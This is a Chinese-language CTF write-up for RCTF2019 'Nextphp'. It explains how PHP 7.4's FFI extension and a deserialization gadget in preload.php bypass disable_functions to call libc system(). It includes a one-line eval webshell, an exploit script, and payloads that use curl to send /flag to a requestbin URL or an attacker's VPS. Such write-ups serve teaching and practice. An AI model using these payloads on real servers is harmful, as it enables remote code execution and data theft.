# [RCTF2019]Nextphp
<?php | |
if (isset($_GET['a'])) { | |
eval($_GET['a']); | |
} else { | |
show_source(__FILE__); | |
} |
非常简洁的页面:包禁了好多函数的直接 phpinfo ():(禁用的函数)
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
肯定是无法进行直接的 rce 了:
看向 php 版本:
PHP Version 7.4.0-dev
发现指针里面有个 FFI support-----------enabled(开启)
上网搜索 FFi:
# FFI:
FFI(Foreign Function Interface),即外部函数接口 是 php7.4 出的一个扩展,提供了高级语言直接的相互调用。
优点:
没有FFI的的时候,传统的方式,当我们需要用一些已有的C语言的库的能力的时候,我们需要用C语言写wrapper,把他们包装成扩展,这个过程中就需要大家去学习PHP的扩展怎么写,当然现在也有一些方便的方式,比如Zephir. 但总还是有一些学习成本的,而有了FFI以后,我们就可以直接在PHP脚本中调用C语言写的库中的函数了
FFI可以让我们更加方便的调用C语言积累的大量的优秀的库,享受这个庞大的资源
缺点:
在PHP里,FFI允许加载动态链接库 (之前一篇文章 LD_PRELOAD 劫持里有讲到),调用底层c语言的一些函数。而且与以往的传统调用C语言库的方式不同,它能够直接在php脚本中调用C语言库中的函数。 因此 FFI 扩展是十分危险的,如果被不当利用,可以直接调用底层c库中命令执行函数从而完全绕过 php 层面上的限制。
因此,也可用来 bypass disable_function 。挺有意思
so 文件是 linux 下向当于 windows 下的 dll 文件,linux 下的程序函数库,即编译好的可以供 其他程序使用的源码和数据,即动态链接库
1.so后缀就是动态链接库的文件名。
2.export LD_PRELOAD=***是修改LD_PRELOAD的指向加载so文件
3.我们自定义替换的函数必须适合原函数相同,包括类型和参数。
4,还原LD_PRELOAD的最初的指向命令为:unset LD_PRELOAD
*libc.so.6 是默认的动态链接函数库 *
启用 FFI 需要:
-
- 使用FFI需要启用PHP7.4配置中的ext/ffi,在 php.ini 中去掉 extension=ffi 前面的 ; - PHP-FFI要求libffi-3以上 - ffi.enable=true
基本上 FFI 就是在预处理函数,可以使用 c 数据库里的函数
题解:
先是可以用 print_r (scandir (’.’)); 看看有什么函数发现
Array ( [0] => . [1] => .. [2] => index.php [3] => preload.php )
有个 preload.php
那么就可以写个🐎蚁剑下载源码:
file_put_contents('shell.php','<?php eval($_POST["shell"]); ?>'); |
preload.php:
<?php | |
final class A implements Serializable { | |
protected $data = [ | |
'ret' => null, | |
'func' => 'print_r', | |
'arg' => '1' | |
]; | |
private function run () { | |
$this->data['ret'] = $this->data['func']($this->data['arg']); | |
} | |
public function __serialize(): array { | |
return $this->data; | |
} | |
public function __unserialize(array $data) { | |
array_merge($this->data, $data); | |
$this->run(); | |
} | |
public function serialize (): string { | |
return serialize($this->data); | |
} | |
public function unserialize($payload) { | |
$this->data = unserialize($payload); | |
$this->run(); | |
} | |
public function __get ($key) { | |
return $this->data[$key]; | |
} | |
public function __set ($key, $value) { | |
throw new \Exception('No implemented'); | |
} | |
public function __construct () { | |
throw new \Exception('No implemented'); | |
} | |
} |
很明显是 php 反序列化(老多魔术方法可以调用了):
run 函数代码:
$this->data['ret'] = $this->data['func']($this->data['arg']); |
在 preload.php 里引进了 php7.4 以上的两个魔术方法 __serialize () 和 __unserialize ()
php7.4 版本的说明:
PHP Serializable是自定义序列化的接口。实现此接口的类将不再支持__sleep()和__wakeup()。
当类的实例对象被序列化时将自动调用serialize方法,并且不会调用 __construct()或有其他影响。如果对象实现理Serialize接口,接口的serialize()方法将被忽略,并使用__serialize()代替。
当类的实例对象被反序列化时,将调用unserialize()方法,并且不执行__destruct()。如果对象实现理Serialize接口,接口的unserialize()方法将被忽略,并使用__unserialize()代替。
构造 执行流程为:
调用 A::unserialize(), payload参数为我们构造好的恶意data数组的序列化数据. 执行 $this->data = unserialize($payload); 设置好 $this-data为构造好的恶意data数组 --> 执行 $this->run(), 生成FFI对象 给了 $this->data['ret'] --> __serialize()会返回$this->data,可以加上['ret'] 表示FFI对象,再->system("cmd"); 调用c语言system函数执行命令
注:我们在写 exp 的时候,删掉没有必要的魔术方法 以及前面提到的 __serialize () 和
因为 __serialize () 存在的话,serialize 构造好的类实例对象就不会调用 serialize (). $this->data 就不会再进行一下 serialize 再返回。因此 我们执行过程中第一步的参数 payload 就不会是恶意 data 数组序列化数据。
exp 如下:
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char *command);' //声明
];
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
}
}
$a = new A();
echo serialize($a);
payload1(数据 外带)(推荐网站:https://webhook.site/):
?a=$a=unserialize(base64_decode("QzoxOiJBIjo5Nzp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czozNDoiaW50IHBocF9leGVjKGludCB0eXBlLCBjaGFyICpjbWQpOyI7fX0="));var_dump($a->ret->php_exec(2,%27curl%20http://http.requestbin.buuoj.cn/1f4vjz01?a=`cat%20/flag`%27));
payload2(这个是上面的解释的续版)(也算是数据外带的吧):
/?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()['ret']->system('curl -d @/flag vps:port');
参考链接:https://ctf.ieki.xyz/buuoj/rctf-2019.html
https://blog.csdn.net/weixin_63231007/article/details/129105223fei